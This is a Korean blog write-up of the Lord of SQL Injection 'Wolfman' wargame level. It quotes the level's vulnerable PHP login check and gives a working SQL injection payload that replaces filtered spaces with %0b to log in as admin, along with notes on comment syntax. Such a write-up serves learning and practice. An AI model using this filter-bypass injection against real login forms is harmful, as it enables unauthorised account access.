Wolfman Write-up

Ccr3t·2025년 7월 28일
0

Wargame

목록 보기
18/55

[Solved in under 3 minutes]

재밌어도 또 푼다.

가보자

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); 
  $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("wolfman"); 
  highlight_file(__FILE__); 
?>

코드를 간단하게 설명하자면
id=guest 고정이고 pw만 입력받아서 id=admin으로 로그인하게 만들어야한다.

필터링은 공백이 추가되었다.

바로 가보자

?pw=1

guest의 비밀번호가 1이 아닌것을 확인했고

?pw=    1

역시나 필터링 걸린다

1' or id='admin' # 이거를 가지고 공백부분에만 필터링 우회를 해보자

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ 답 ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ

?pw=1'%0bor%0bid='admin'%0b%23

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ

간단하게 풀렸다.

그런데 여기서 주의해야 할 점이 있다.
id=guest로 고정이기 때문에 guest의 pw가 정말 1이면 뒤에 or 구문이 안먹히니 처음에 아무 값을 넣어서 가짜 pw를 삽입해야한다.

그리고 'admin' # 여기서 '#'은 공백이 필요없다 즉, 'admin'# 이렇게 해도 상관없는데 그냥 내 습관이다.

대신 '--'를 사용할거면 "'admin'--(공백)" 이렇게 뒤에 공백을 하나 무조건 넣어줘야 한다. 이미 한번씩 대여봐서 잘 기억하고 있다.

모두 재밌는 SQL Injection 하자

LoS(Lord of SQL Injection) Wolfman Write-up

이상 보고 끝!

profile
웹해킹을 잘 못 하지만 좋아 하려고 노력하는 한 젊은이.

0개의 댓글